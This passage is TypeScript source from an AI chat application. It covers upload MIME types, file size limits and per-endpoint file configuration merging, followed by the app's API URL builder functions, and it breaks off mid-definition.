bedrockDocumentExtensions =\n '.pdf,.csv,.doc,.docx,.xls,.xlsx,.html,.htm,.txt,.md,application/pdf,text/csv,application/csv,application/msword,application/vnd.openxmlformats-officedocument.wordprocessingml.document,application/vnd.ms-excel,application/vnd.openxmlformats-officedocument.spreadsheetml.sheet,text/html,text/plain,text/markdown';\n\nexport const excelMimeTypes =\n /^application\\/(vnd\\.ms-excel|msexcel|x-msexcel|x-ms-excel|x-excel|x-dos_ms_excel|xls|x-xls|vnd\\.openxmlformats-officedocument\\.spreadsheetml\\.sheet)$/;\n\nexport const textMimeTypes =\n /^(text\\/(x-c|x-csharp|tab-separated-values|x-c\\+\\+|x-h|x-java|html|markdown|x-php|x-python|x-script\\.python|x-ruby|x-tex|plain|css|vtt|javascript|csv|xml))$/;\n\nexport const applicationMimeTypes =\n /^(application\\/(epub\\+zip|csv|json|msword|pdf|x-tar|x-sh|typescript|sql|yaml|x-parquet|vnd\\.apache\\.parquet|vnd\\.coffeescript|vnd\\.openxmlformats-officedocument\\.(wordprocessingml\\.document|presentationml\\.presentation|spreadsheetml\\.sheet)|vnd\\.oasis\\.opendocument\\.(text|spreadsheet|presentation|graphics)|xml|zip))$/;\n\nexport const imageMimeTypes = /^image\\/(jpeg|gif|png|webp|heic|heif)$/;\n\nexport const audioMimeTypes =\n /^audio\\/(mp3|mpeg|mpeg3|wav|wave|x-wav|ogg|vorbis|mp4|m4a|x-m4a|flac|x-flac|webm|aac|wma|opus)$/;\n\nexport const videoMimeTypes = /^video\\/(mp4|avi|mov|wmv|flv|webm|mkv|m4v|3gp|ogv)$/;\n\nexport const defaultOCRMimeTypes = [\n imageMimeTypes,\n excelMimeTypes,\n /^application\\/pdf$/,\n /^application\\/vnd\\.openxmlformats-officedocument\\.(wordprocessingml\\.document|presentationml\\.presentation)$/,\n /^application\\/vnd\\.ms-(word|powerpoint)$/,\n /^application\\/epub\\+zip$/,\n /^application\\/vnd\\.oasis\\.opendocument\\.(text|spreadsheet|presentation|graphics)$/,\n];\n\n/** MIME types handled by the built-in document parser (pdf, docx, excel variants, ods/odt) */\nexport const documentParserMimeTypes = [\n excelMimeTypes,\n /^application\\/pdf$/,\n /^application\\/vnd\\.openxmlformats-officedocument\\.wordprocessingml\\.document$/,\n /^application\\/vnd\\.oasis\\.opendocument\\.spreadsheet$/,\n /^application\\/vnd\\.oasis\\.opendocument\\.text$/,\n];\n\nexport const defaultTextMimeTypes = [/^[\\w.-]+\\/[\\w.-]+$/];\n\nexport const defaultSTTMimeTypes = [audioMimeTypes];\n\nexport const supportedMimeTypes = [\n textMimeTypes,\n excelMimeTypes,\n applicationMimeTypes,\n imageMimeTypes,\n videoMimeTypes,\n audioMimeTypes,\n /** Supported by LC Code Interpreter API */\n /^image\\/(svg|svg\\+xml)$/,\n];\n\nexport const codeInterpreterMimeTypes = [\n textMimeTypes,\n excelMimeTypes,\n applicationMimeTypes,\n imageMimeTypes,\n];\n\nexport const codeTypeMapping: { [key: string]: string } = {\n c: 'text/x-c', // .c - C source\n cs: 'text/x-csharp', // .cs - C# source\n cpp: 'text/x-c++', // .cpp - C++ source\n h: 'text/x-h', // .h - C/C++ header\n md: 'text/markdown', // .md - Markdown\n php: 'text/x-php', // .php - PHP source\n py: 'text/x-python', // .py - Python source\n rb: 'text/x-ruby', // .rb - Ruby source\n tex: 'text/x-tex', // .tex - LaTeX source\n java: 'text/x-java', // .java - Java source\n js: 'text/javascript', // .js - JavaScript source\n sh: 'application/x-sh', // .sh - Shell script\n ts: 'application/typescript', // .ts - TypeScript source\n tar: 'application/x-tar', // .tar - Tar archive\n zip: 'application/zip', // .zip - ZIP archive\n txt: 'text/plain', // .txt - Plain text file\n log: 'text/plain', // .log - Log file\n csv: 'text/csv', // .csv - Comma-separated values\n tsv: 'text/tab-separated-values', // .tsv - Tab-separated values\n parquet: 'application/x-parquet', // .parquet - Apache Parquet columnar storage\n json: 'application/json', // .json - JSON file\n xml: 'application/xml', // .xml - XML file\n html: 'text/html', // .html - HTML file\n htm: 'text/html', // .htm - HTML file\n css: 'text/css', // .css - CSS file\n yml: 'application/yaml', // .yml - YAML\n yaml: 'application/yaml', // .yaml - YAML\n sql: 'application/sql', // .sql - SQL (IANA registered)\n dart: 'text/plain', // .dart - Dart source\n coffee: 'application/vnd.coffeescript', // .coffee - CoffeeScript (IANA registered)\n go: 'text/plain', // .go - Go source\n rs: 'text/plain', // .rs - Rust source\n swift: 'text/plain', // .swift - Swift source\n kt: 'text/plain', // .kt - Kotlin source\n kts: 'text/plain', // .kts - Kotlin script\n scala: 'text/plain', // .scala - Scala source\n lua: 'text/plain', // .lua - Lua source\n r: 'text/plain', // .r - R source\n pl: 'text/plain', // .pl - Perl source\n pm: 'text/plain', // .pm - Perl module\n groovy: 'text/plain', // .groovy - Groovy source\n gradle: 'text/plain', // .gradle - Gradle build script\n clj: 'text/plain', // .clj - Clojure source\n cljs: 'text/plain', // .cljs - ClojureScript source\n cljc: 'text/plain', // .cljc - Clojure common source\n elm: 'text/plain', // .elm - Elm source\n erl: 'text/plain', // .erl - Erlang source\n hrl: 'text/plain', // .hrl - Erlang header\n ex: 'text/plain', // .ex - Elixir source\n exs: 'text/plain', // .exs - Elixir script\n hs: 'text/plain', // .hs - Haskell source\n lhs: 'text/plain', // .lhs - Literate Haskell source\n ml: 'text/plain', // .ml - OCaml source\n mli: 'text/plain', // .mli - OCaml interface\n fs: 'text/plain', // .fs - F# source\n fsx: 'text/plain', // .fsx - F# script\n lisp: 'text/plain', // .lisp - Lisp source\n cl: 'text/plain', // .cl - Common Lisp source\n scm: 'text/plain', // .scm - Scheme source\n rkt: 'text/plain', // .rkt - Racket source\n jsx: 'text/plain', // .jsx - React JSX\n tsx: 'text/plain', // .tsx - React TSX\n vue: 'text/plain', // .vue - Vue component\n svelte: 'text/plain', // .svelte - Svelte component\n astro: 'text/plain', // .astro - Astro component\n scss: 'text/plain', // .scss - SCSS source\n sass: 'text/plain', // .sass - Sass source\n less: 'text/plain', // .less - Less source\n styl: 'text/plain', // .styl - Stylus source\n toml: 'text/plain', // .toml - TOML config\n ini: 'text/plain', // .ini - INI config\n cfg: 'text/plain', // .cfg - Config file\n conf: 'text/plain', // .conf - Config file\n env: 'text/plain', // .env - Environment file\n properties: 'text/plain', // .properties - Java properties\n graphql: 'text/plain', // .graphql - GraphQL schema/query\n gql: 'text/plain', // .gql - GraphQL schema/query\n proto: 'text/plain', // .proto - Protocol Buffers\n dockerfile: 'text/plain', // Dockerfile\n makefile: 'text/plain', // Makefile\n cmake: 'text/plain', // .cmake - CMake script\n rake: 'text/plain', // .rake - Rake task\n gemspec: 'text/plain', // .gemspec - Ruby gem spec\n bash: 'text/plain', // .bash - Bash script\n zsh: 'text/plain', // .zsh - Zsh script\n fish: 'text/plain', // .fish - Fish script\n ps1: 'text/plain', // .ps1 - PowerShell script\n psm1: 'text/plain', // .psm1 - PowerShell module\n bat: 'text/plain', // .bat - Batch script\n cmd: 'text/plain', // .cmd - Windows command script\n asm: 'text/plain', // .asm - Assembly source\n s: 'text/plain', // .s - Assembly source\n v: 'text/plain', // .v - V or Verilog source\n zig: 'text/plain', // .zig - Zig source\n nim: 'text/plain', // .nim - Nim source\n cr: 'text/plain', // .cr - Crystal source\n d: 'text/plain', // .d - D source\n pas: 'text/plain', // .pas - Pascal source\n pp: 'text/plain', // .pp - Pascal/Puppet source\n f90: 'text/plain', // .f90 - Fortran 90 source\n f95: 'text/plain', // .f95 - Fortran 95 source\n f03: 'text/plain', // .f03 - Fortran 2003 source\n jl: 'text/plain', // .jl - Julia source\n m: 'text/plain', // .m - Objective-C/MATLAB source\n mm: 'text/plain', // .mm - Objective-C++ source\n ada: 'text/plain', // .ada - Ada source\n adb: 'text/plain', // .adb - Ada body\n ads: 'text/plain', // .ads - Ada spec\n cob: 'text/plain', // .cob - COBOL source\n cbl: 'text/plain', // .cbl - COBOL source\n tcl: 'text/plain', // .tcl - Tcl source\n awk: 'text/plain', // .awk - AWK script\n sed: 'text/plain', // .sed - Sed script\n odt: 'application/vnd.oasis.opendocument.text', // .odt - OpenDocument Text\n ods: 'application/vnd.oasis.opendocument.spreadsheet', // .ods - OpenDocument Spreadsheet\n odp: 'application/vnd.oasis.opendocument.presentation', // .odp - OpenDocument Presentation\n odg: 'application/vnd.oasis.opendocument.graphics', // .odg - OpenDocument Graphics\n};\n\n/** Maps image extensions to MIME types for formats browsers may not recognize */\nexport const imageTypeMapping: { [key: string]: string } = {\n heic: 'image/heic',\n heif: 'image/heif',\n};\n\n/** Normalizes non-standard MIME types that browsers may report to their canonical forms */\nexport const mimeTypeAliases: Readonly<Record<string, string>> = {\n 'text/x-python-script': 'text/x-python',\n};\n\n/**\n * Infers the MIME type from a file's extension when the browser doesn't recognize it,\n * and normalizes known non-standard MIME type aliases to their canonical forms.\n * @param fileName - The file name including its extension\n * @param currentType - The MIME type reported by the browser (may be empty string)\n * @returns The normalized or inferred MIME type; empty string if unresolvable\n */\nexport function inferMimeType(fileName: string, currentType: string): string {\n if (currentType) {\n return mimeTypeAliases[currentType] ?? currentType;\n }\n\n const extension = fileName.split('.').pop()?.toLowerCase() ?? '';\n return codeTypeMapping[extension] || imageTypeMapping[extension] || currentType;\n}\n\nexport const retrievalMimeTypes = [\n /^(text\\/(x-c|x-c\\+\\+|x-h|html|x-java|markdown|x-php|x-python|x-script\\.python|x-ruby|x-tex|plain|vtt|xml))$/,\n /^(application\\/(json|pdf|vnd\\.openxmlformats-officedocument\\.(wordprocessingml\\.document|presentationml\\.presentation)))$/,\n];\n\nexport const megabyte = 1024 * 1024;\n/** Helper function to get megabytes value */\nexport const mbToBytes = (mb: number): number => mb * megabyte;\n\nconst defaultSizeLimit = mbToBytes(512);\nconst defaultTokenLimit = 100000;\nconst assistantsFileConfig = {\n fileLimit: 10,\n fileSizeLimit: defaultSizeLimit,\n totalSizeLimit: defaultSizeLimit,\n supportedMimeTypes,\n disabled: false,\n};\n\nexport const fileConfig = {\n endpoints: {\n [EModelEndpoint.assistants]: assistantsFileConfig,\n [EModelEndpoint.azureAssistants]: assistantsFileConfig,\n [EModelEndpoint.agents]: assistantsFileConfig,\n [EModelEndpoint.anthropic]: {\n fileLimit: 10,\n fileSizeLimit: defaultSizeLimit,\n totalSizeLimit: defaultSizeLimit,\n supportedMimeTypes,\n disabled: false,\n },\n default: {\n fileLimit: 10,\n fileSizeLimit: defaultSizeLimit,\n totalSizeLimit: defaultSizeLimit,\n supportedMimeTypes,\n disabled: false,\n },\n },\n serverFileSizeLimit: defaultSizeLimit,\n avatarSizeLimit: mbToBytes(2),\n fileTokenLimit: defaultTokenLimit,\n clientImageResize: {\n enabled: false,\n maxWidth: 1900,\n maxHeight: 1900,\n quality: 0.92,\n },\n ocr: {\n supportedMimeTypes: defaultOCRMimeTypes,\n },\n text: {\n supportedMimeTypes: defaultTextMimeTypes,\n },\n stt: {\n supportedMimeTypes: defaultSTTMimeTypes,\n },\n checkType: function (fileType: string, supportedTypes: RegExp[] = supportedMimeTypes) {\n return supportedTypes.some((regex) => regex.test(fileType));\n },\n};\n\nconst supportedMimeTypesSchema = z\n .array(z.any())\n .optional()\n .refine(\n (mimeTypes) => {\n if (!mimeTypes) {\n return true;\n }\n return mimeTypes.every(\n (mimeType) => mimeType instanceof RegExp || typeof mimeType === 'string',\n );\n },\n {\n message: 'Each mimeType must be a string or a RegExp object.',\n },\n );\n\nexport const endpointFileConfigSchema = z.object({\n disabled: z.boolean().optional(),\n fileLimit: z.number().min(0).optional(),\n fileSizeLimit: z.number().min(0).optional(),\n totalSizeLimit: z.number().min(0).optional(),\n supportedMimeTypes: supportedMimeTypesSchema.optional(),\n});\n\nexport const fileConfigSchema = z.object({\n endpoints: z.record(endpointFileConfigSchema).optional(),\n serverFileSizeLimit: z.number().min(0).optional(),\n avatarSizeLimit: z.number().min(0).optional(),\n fileTokenLimit: z.number().min(0).optional(),\n imageGeneration: z\n .object({\n percentage: z.number().min(0).max(100).optional(),\n px: z.number().min(0).optional(),\n })\n .optional(),\n clientImageResize: z\n .object({\n enabled: z.boolean().optional(),\n maxWidth: z.number().min(0).optional(),\n maxHeight: z.number().min(0).optional(),\n quality: z.number().min(0).max(1).optional(),\n })\n .optional(),\n ocr: z\n .object({\n supportedMimeTypes: supportedMimeTypesSchema.optional(),\n })\n .optional(),\n text: z\n .object({\n supportedMimeTypes: supportedMimeTypesSchema.optional(),\n })\n .optional(),\n});\n\nexport type TFileConfig = z.infer<typeof fileConfigSchema>;\n\n/** Helper function to safely convert string patterns to RegExp objects */\nexport const convertStringsToRegex = (patterns: string[]): RegExp[] =>\n patterns.reduce((acc: RegExp[], pattern) => {\n try {\n const regex = new RegExp(pattern);\n acc.push(regex);\n } catch (error) {\n console.error(`Invalid regex pattern \"${pattern}\" skipped.`, error);\n }\n return acc;\n }, []);\n\n/**\n * Gets the appropriate endpoint file configuration with standardized lookup logic.\n *\n * @param params - Object containing fileConfig, endpoint, and optional conversationEndpoint\n * @param params.fileConfig - The merged file configuration\n * @param params.endpoint - The endpoint name to look up\n * @param params.conversationEndpoint - Optional conversation endpoint for additional context\n * @returns The endpoint file configuration or undefined\n */\n/**\n * Merges an endpoint config with the default config to ensure all fields are populated.\n * For document-supported providers, uses the comprehensive MIME type list (includes videos/audio).\n */\nfunction mergeWithDefault(\n endpointConfig: EndpointFileConfig,\n defaultConfig: EndpointFileConfig,\n endpoint?: string | null,\n): EndpointFileConfig {\n /** Use comprehensive MIME types for document-supported providers */\n const defaultMimeTypes = isDocumentSupportedProvider(endpoint)\n ? supportedMimeTypes\n : defaultConfig.supportedMimeTypes;\n\n return {\n disabled: endpointConfig.disabled ?? defaultConfig.disabled,\n fileLimit: endpointConfig.fileLimit ?? defaultConfig.fileLimit,\n fileSizeLimit: endpointConfig.fileSizeLimit ?? defaultConfig.fileSizeLimit,\n totalSizeLimit: endpointConfig.totalSizeLimit ?? defaultConfig.totalSizeLimit,\n supportedMimeTypes: endpointConfig.supportedMimeTypes ?? defaultMimeTypes,\n };\n}\n\nexport function getEndpointFileConfig(params: {\n fileConfig?: FileConfig | null;\n endpoint?: string | null;\n endpointType?: string | null;\n}): EndpointFileConfig {\n const { fileConfig: mergedFileConfig, endpoint, endpointType } = params;\n\n if (!mergedFileConfig?.endpoints) {\n return fileConfig.endpoints.default;\n }\n\n /** Compute an effective default by merging user-configured default over the base default */\n const baseDefaultConfig = fileConfig.endpoints.default;\n const userDefaultConfig = mergedFileConfig.endpoints.default;\n const defaultConfig = userDefaultConfig\n ? mergeWithDefault(userDefaultConfig, baseDefaultConfig, 'default')\n : baseDefaultConfig;\n\n const normalizedEndpoint = normalizeEndpointName(endpoint ?? '');\n const standardEndpoints = new Set([\n 'default',\n EModelEndpoint.agents,\n EModelEndpoint.assistants,\n EModelEndpoint.azureAssistants,\n EModelEndpoint.openAI,\n EModelEndpoint.azureOpenAI,\n EModelEndpoint.anthropic,\n EModelEndpoint.google,\n EModelEndpoint.bedrock,\n ]);\n\n const normalizedEndpointType = normalizeEndpointName(endpointType ?? '');\n const isCustomEndpoint =\n endpointType === EModelEndpoint.custom ||\n (!standardEndpoints.has(normalizedEndpointType) &&\n normalizedEndpoint &&\n !standardEndpoints.has(normalizedEndpoint));\n\n if (isCustomEndpoint) {\n /** 1. Check direct endpoint lookup (could be normalized or not) */\n if (endpoint && mergedFileConfig.endpoints[endpoint]) {\n return mergeWithDefault(mergedFileConfig.endpoints[endpoint], defaultConfig, endpoint);\n }\n /** 2. Check normalized endpoint lookup (skip standard endpoint keys) */\n for (const key in mergedFileConfig.endpoints) {\n if (!standardEndpoints.has(key) && normalizeEndpointName(key) === normalizedEndpoint) {\n return mergeWithDefault(mergedFileConfig.endpoints[key], defaultConfig, key);\n }\n }\n /** 3. Fallback to generic 'custom' config if any */\n if (mergedFileConfig.endpoints[EModelEndpoint.custom]) {\n return mergeWithDefault(\n mergedFileConfig.endpoints[EModelEndpoint.custom],\n defaultConfig,\n endpoint,\n );\n }\n /** 4. Fallback to 'agents' (all custom endpoints are non-assistants) */\n if (mergedFileConfig.endpoints[EModelEndpoint.agents]) {\n return mergeWithDefault(\n mergedFileConfig.endpoints[EModelEndpoint.agents],\n defaultConfig,\n endpoint,\n );\n }\n /** 5. Fallback to default */\n return defaultConfig;\n }\n\n /** Check endpointType first (most reliable for standard endpoints) */\n if (endpointType && mergedFileConfig.endpoints[endpointType]) {\n return mergeWithDefault(mergedFileConfig.endpoints[endpointType], defaultConfig, endpointType);\n }\n\n /** Check direct endpoint lookup */\n if (endpoint && mergedFileConfig.endpoints[endpoint]) {\n return mergeWithDefault(mergedFileConfig.endpoints[endpoint], defaultConfig, endpoint);\n }\n\n /** Check normalized endpoint */\n if (normalizedEndpoint && mergedFileConfig.endpoints[normalizedEndpoint]) {\n return mergeWithDefault(\n mergedFileConfig.endpoints[normalizedEndpoint],\n defaultConfig,\n normalizedEndpoint,\n );\n }\n\n /** Fallback to agents if endpoint is explicitly agents */\n const isAgents = isAgentsEndpoint(normalizedEndpointType || normalizedEndpoint);\n if (isAgents && mergedFileConfig.endpoints[EModelEndpoint.agents]) {\n return mergeWithDefault(\n mergedFileConfig.endpoints[EModelEndpoint.agents],\n defaultConfig,\n EModelEndpoint.agents,\n );\n }\n\n /** Return default config */\n return defaultConfig;\n}\n\nexport function mergeFileConfig(dynamic: z.infer<typeof fileConfigSchema> | undefined): FileConfig {\n const mergedConfig: FileConfig = {\n ...fileConfig,\n endpoints: {\n ...fileConfig.endpoints,\n },\n ocr: {\n ...fileConfig.ocr,\n supportedMimeTypes: fileConfig.ocr?.supportedMimeTypes || [],\n },\n text: {\n ...fileConfig.text,\n supportedMimeTypes: fileConfig.text?.supportedMimeTypes || [],\n },\n stt: {\n ...fileConfig.stt,\n supportedMimeTypes: fileConfig.stt?.supportedMimeTypes || [],\n },\n };\n if (!dynamic) {\n return mergedConfig;\n }\n\n if (dynamic.serverFileSizeLimit !== undefined) {\n mergedConfig.serverFileSizeLimit = mbToBytes(dynamic.serverFileSizeLimit);\n }\n\n if (dynamic.avatarSizeLimit !== undefined) {\n mergedConfig.avatarSizeLimit = mbToBytes(dynamic.avatarSizeLimit);\n }\n\n if (dynamic.fileTokenLimit !== undefined) {\n mergedConfig.fileTokenLimit = dynamic.fileTokenLimit;\n }\n\n // Merge clientImageResize configuration\n if (dynamic.clientImageResize !== undefined) {\n mergedConfig.clientImageResize = {\n ...mergedConfig.clientImageResize,\n ...dynamic.clientImageResize,\n };\n }\n\n if (dynamic.ocr !== undefined) {\n mergedConfig.ocr = {\n ...mergedConfig.ocr,\n ...dynamic.ocr,\n };\n if (dynamic.ocr.supportedMimeTypes) {\n mergedConfig.ocr.supportedMimeTypes = convertStringsToRegex(dynamic.ocr.supportedMimeTypes);\n }\n }\n\n if (dynamic.text !== undefined) {\n mergedConfig.text = {\n ...mergedConfig.text,\n ...dynamic.text,\n };\n if (dynamic.text.supportedMimeTypes) {\n mergedConfig.text.supportedMimeTypes = convertStringsToRegex(dynamic.text.supportedMimeTypes);\n }\n }\n\n if (!dynamic.endpoints) {\n return mergedConfig;\n }\n\n for (const key in dynamic.endpoints) {\n const dynamicEndpoint = (dynamic.endpoints as Record<string, EndpointFileConfig>)[key];\n\n /** Deep copy the base endpoint config if it exists to prevent mutation */\n if (!mergedConfig.endpoints[key]) {\n mergedConfig.endpoints[key] = {};\n } else {\n mergedConfig.endpoints[key] = { ...mergedConfig.endpoints[key] };\n }\n\n const mergedEndpoint = mergedConfig.endpoints[key];\n\n if (dynamicEndpoint.disabled === true) {\n mergedEndpoint.disabled = true;\n mergedEndpoint.fileLimit = 0;\n mergedEndpoint.fileSizeLimit = 0;\n mergedEndpoint.totalSizeLimit = 0;\n mergedEndpoint.supportedMimeTypes = [];\n continue;\n }\n\n if (dynamicEndpoint.fileSizeLimit !== undefined) {\n mergedEndpoint.fileSizeLimit = mbToBytes(dynamicEndpoint.fileSizeLimit);\n }\n\n if (dynamicEndpoint.totalSizeLimit !== undefined) {\n mergedEndpoint.totalSizeLimit = mbToBytes(dynamicEndpoint.totalSizeLimit);\n }\n\n const configKeys = ['fileLimit'] as const;\n configKeys.forEach((field) => {\n if (dynamicEndpoint[field] !== undefined) {\n mergedEndpoint[field] = dynamicEndpoint[field];\n }\n });\n\n if (dynamicEndpoint.disabled !== undefined) {\n mergedEndpoint.disabled = dynamicEndpoint.disabled;\n }\n\n if (dynamicEndpoint.supportedMimeTypes) {\n mergedEndpoint.supportedMimeTypes = convertStringsToRegex(\n dynamicEndpoint.supportedMimeTypes as unknown as string[],\n );\n }\n }\n\n return mergedConfig;\n}\n","import type { AssistantsEndpoint } from './schemas';\nimport * as q from './types/queries';\nimport { ResourceType } from './accessPermissions';\n\nlet BASE_URL = '';\nif (\n typeof process === 'undefined' ||\n (process as typeof process & { browser?: boolean }).browser === true\n) {\n // process is only available in node context, or process.browser is true in client-side code\n // This is to ensure that the BASE_URL is set correctly based on the <base>\n // element in the HTML document, if it exists.\n const baseEl = document.querySelector('base');\n BASE_URL = baseEl?.getAttribute('href') || '/';\n}\n\nif (BASE_URL && BASE_URL.endsWith('/')) {\n BASE_URL = BASE_URL.slice(0, -1);\n}\n\nexport const apiBaseUrl = () => BASE_URL;\n\n// Testing this buildQuery function\nconst buildQuery = (params: Record<string, unknown>): string => {\n const query = Object.entries(params)\n .filter(([, value]) => {\n if (Array.isArray(value)) {\n return value.length > 0;\n }\n return value !== undefined && value !== null && value !== '';\n })\n .map(([key, value]) => {\n if (Array.isArray(value)) {\n return value.map((v) => `${key}=${encodeURIComponent(v)}`).join('&');\n }\n return `${key}=${encodeURIComponent(String(value))}`;\n })\n .join('&');\n return query ? `?${query}` : '';\n};\n\nexport const health = () => `${BASE_URL}/health`;\nexport const user = () => `${BASE_URL}/api/user`;\n\nexport const balance = () => `${BASE_URL}/api/balance`;\n\nexport const userPlugins = () => `${BASE_URL}/api/user/plugins`;\n\nexport const deleteUser = () => `${BASE_URL}/api/user/delete`;\n\nconst messagesRoot = `${BASE_URL}/api/messages`;\n\nexport const messages = (params: q.MessagesListParams) => {\n const { conversationId, messageId, ...rest } = params;\n\n if (conversationId && messageId) {\n return `${messagesRoot}/${conversationId}/${messageId}`;\n }\n\n if (conversationId) {\n return `${messagesRoot}/${conversationId}`;\n }\n\n return `${messagesRoot}${buildQuery(rest)}`;\n};\n\nexport const messagesArtifacts = (messageId: string) => `${messagesRoot}/artifact/${messageId}`;\n\nexport const messagesBranch = () => `${messagesRoot}/branch`;\n\nconst shareRoot = `${BASE_URL}/api/share`;\nexport const shareMessages = (shareId: string) => `${shareRoot}/${shareId}`;\nexport const getSharedLink = (conversationId: string) => `${shareRoot}/link/${conversationId}`;\nexport const getSharedLinks = (\n pageSize: number,\n isPublic: boolean,\n sortBy: 'title' | 'createdAt',\n sortDirection: 'asc' | 'desc',\n search?: string,\n cursor?: string,\n) =>\n `${shareRoot}?pageSize=${pageSize}&isPublic=${isPublic}&sortBy=${sortBy}&sortDirection=${sortDirection}${\n search ? `&search=${search}` : ''\n }${cursor ? `&cursor=${cursor}` : ''}`;\nexport const createSharedLink = (conversationId: string) => `${shareRoot}/${conversationId}`;\nexport const updateSharedLink = (shareId: string) => `${shareRoot}/${shareId}`;\n\nconst keysEndpoint = `${BASE_URL}/api/keys`;\n\nexport const keys = () => keysEndpoint;\n\nexport const userKeyQuery = (name: string) => `${keysEndpoint}?name=${name}`;\n\nexport const revokeUserKey = (name: string) => `${keysEndpoint}/${name}`;\n\nexport const revokeAllUserKeys = () => `${keysEndpoint}?all=true`;\n\nconst apiKeysEndpoint = `${BASE_URL}/api/api-keys`;\n\nexport const apiKeys = () => apiKeysEndpoint;\n\nexport const apiKeyById = (id: string) => `${apiKeysEndpoint}/${id}`;\n\nexport const conversationsRoot = `${BASE_URL}/api/convos`;\n\nexport const conversations = (params: q.ConversationListParams) => {\n return `${conversationsRoot}${buildQuery(params)}`;\n};\n\nexport const conversationById = (id: string) => `${conversationsRoot}/${id}`;\n\nexport const genTitle = (conversationId: string) =>\n `${conversationsRoot}/gen_title/${encodeURIComponent(conversationId)}`;\n\nexport const updateConversation = () => `${conversationsRoot}/update`;\n\nexport const archiveConversation = () => `${conversationsRoot}/archive`;\n\nexport const deleteConversation = () => `${conversationsRoot}`;\n\nexport const deleteAllConversation = () => `${conversationsRoot}/all`;\n\nexport const importConversation = () => `${conversationsRoot}/import`;\n\nexport const forkConversation = () => `${conversationsRoot}/fork`;\n\nexport const duplicateConversation = () => `${conversationsRoot}/duplicate`;\n\nexport const search = (q: string, cursor?: string | null) =>\n `${BASE_URL}/api/search?q=${q}${cursor ? `&cursor=${cursor}` : ''}`;\n\nexport const searchEnabled = () => `${BASE_URL}/api/search/enable`;\n\nexport const presets = () => `${BASE_URL}/api/presets`;\n\nexport const deletePreset = () => `${BASE_URL}/api/presets/delete`;\n\nexport const aiEndpoints = () => `${BASE_URL}/api/endpoints`;\n\nexport const models = () => `${BASE_URL}/api/models`;\n\nexport const tokenizer = () => `${BASE_URL}/api/tokenizer`;\n\nexport const login = () => `${BASE_URL}/api/auth/login`;\n\nexport const logout = () => `${BASE_URL}/api/auth/logout`;\n\nexport const register = () => `${BASE_URL}/api/auth/register`;\n\nexport const loginFacebook = () => `${BASE_URL}/api/auth/facebook`;\n\nexport const loginGoogle = () => `${BASE_URL}/api/auth/google`;\n\nexport const refreshToken = (retry?: boolean) =>\n `${BASE_URL}/api/auth/refresh${retry === true ? '?retry=true' : ''}`;\n\nexport const requestPasswordReset = () => `${BASE_URL}/api/auth/requestPasswordReset`;\n\nexport const resetPassword = () => `${BASE_URL}/api/auth/resetPassword`;\n\nexport const verifyEmail = () => `${BASE_URL}/api/user/verify`;\n\n// Auth page URLs (for client-side navigation and redirects)\nexport const loginPage = () => `${BASE_URL}/login`;\nexport const registerPage = () => `${BASE_URL}/register`;\n\nconst REDIRECT_PARAM = 'redirect_to';\nconst LOGIN_PATH_RE = /(?:^|\\/)login(?:\\/|$)/;\n\n/**\n * Builds a `/login?redirect_to=...` URL from the given or current location.\n * Returns plain `/login` (no param) when already on a login route to prevent recursive nesting.\n */\nexport function buildLoginRedirectUrl(pathname?: string, search?: string, hash?: string): string {\n const p = pathname ?? window.location.pathname;\n if (LOGIN_PATH_RE.test(p)) {\n return '/login';\n }\n const s = search ?? window.location.search;\n const h = hash ?? window.location.hash;\n\n const stripped =\n BASE_URL && (p === BASE_URL || p.startsWith(BASE_URL + '/'))\n ? p.slice(BASE_URL.length) || '/'\n : p;\n const currentPath = `${stripped}${s}${h}`;\n if (!currentPath || currentPath === '/') {\n return '/login';\n }\n return `/login?${REDIRECT_PARAM}=${encodeURIComponent(currentPath)}`;\n}\n\nexport const resendVerificationEmail = () => `${BASE_URL}/api/user/verify/resend`;\n\nexport const plugins = () => `${BASE_URL}/api/plugins`;\n\nexport const mcpReinitialize = (serverName: string) =>\n `${BASE_URL}/api/mcp/${serverName}/reinitialize`;\nexport const mcpConnectionStatus = () => `${BASE_URL}/api/mcp/connection/status`;\nexport const mcpServerConnectionStatus = (serverName: string) =>\n `${BASE_URL}/api/mcp/connection/status/${serverName}`;\nexport const mcpAuthValues = (serverName: string) => {\n return `${BASE_URL}/api/mcp/${serverName}/auth-values`;\n};\n\nexport const cancelMCPOAuth = (serverName: string) => {\n return `${BASE_URL}/api/mcp/oauth/cancel/${serverName}`;\n};\n\nexport const mcpOAuthBind = (serverName: string) => `${BASE_URL}/api/mcp/${serverName}/oauth/bind`;\n\nexport const actionOAuthBind = (actionId: string) =>\n `${BASE_URL}/api/actions/${actionId}/oauth/bind`;\n\nexport const config = () => `${BASE_URL}/api/config`;\n\nexport const prompts = () => `${BASE_URL}/api/prompts`;\n\nexport const addPromptToGroup = (groupId: string) =>\n `${BASE_URL}/api/prompts/groups/${groupId}/prompts`;\n\nexport const assistants = ({\n path = '',\n options,\n version,\n endpoint,\n isAvatar,\n}: {\n path?: string;\n options?: object;\n endpoint?: AssistantsEndpoint;\n version: number | string;\n isAvatar?: boolean;\n}) => {\n let url = isAvatar === true ? `${images()}/assistants` : `${BASE_URL}/api/assistants/v${version}`;\n\n if (path && path !== '') {\n url += `/${path}`;\n }\n\n if (endpoint) {\n options = {\n ...(options ?? {}),\n endpoint,\n };\n }\n\n if (options && Object.keys(options).length > 0) {\n const queryParams = new URLSearchParams(options as Record<string, string>).toString();\n url += `?${queryParams}`;\n }\n\n return url;\n};\n\nexport const agents = ({ path = '', options }: { path?: string; options?: object }) => {\n let url = `${BASE_URL}/api/agents`;\n\n if (path && path !== '') {\n url += `/${path}`;\n }\n\n if (options && Object.keys(options).length > 0) {\n const queryParams = new URLSearchParams(options as Record<string, string>).toString();\n url += `?${queryParams}`;\n }\n\n return url;\n};\n\nexport const activeJobs = () => `${BASE_URL}/api/agents/chat/active`;\n\nexport const mcp = {\n tools: `${BASE_URL}/api/mcp/tools`,\n servers: `${BASE_URL}/api/mcp/servers`,\n};\n\nexport const mcpServer = (serverName: string) => `${BASE_URL}/api/mcp/servers/${serverName}`;\n\nexport const revertAgentVersion = (agent_id: string) => `${agents({ path: `${agent_id}/revert` })}`;\n\nexport const files = () => `${BASE_URL}/api/files`;\nexport const fileUpload = () => `${BASE_URL}/api/files`;\nexport const fileDelete = () => `${BASE_URL}/api/files`;\nexport const fileDownload = (userId: string, fileId: string) =>\n `${BASE_URL}/api/files/download/${userId}/${fileId}`;\nexport const fileConfig = () => `${BASE_URL}/api/files/config`;\nexport const agentFiles = (agentId: string) => `${BASE_URL}/api/files/agent/${agentId}`;\n\nexport const images = () => `${files()}/images`;\n\nexport const avatar = () => `${images()}/avatar`;\n\nexport const speech = () 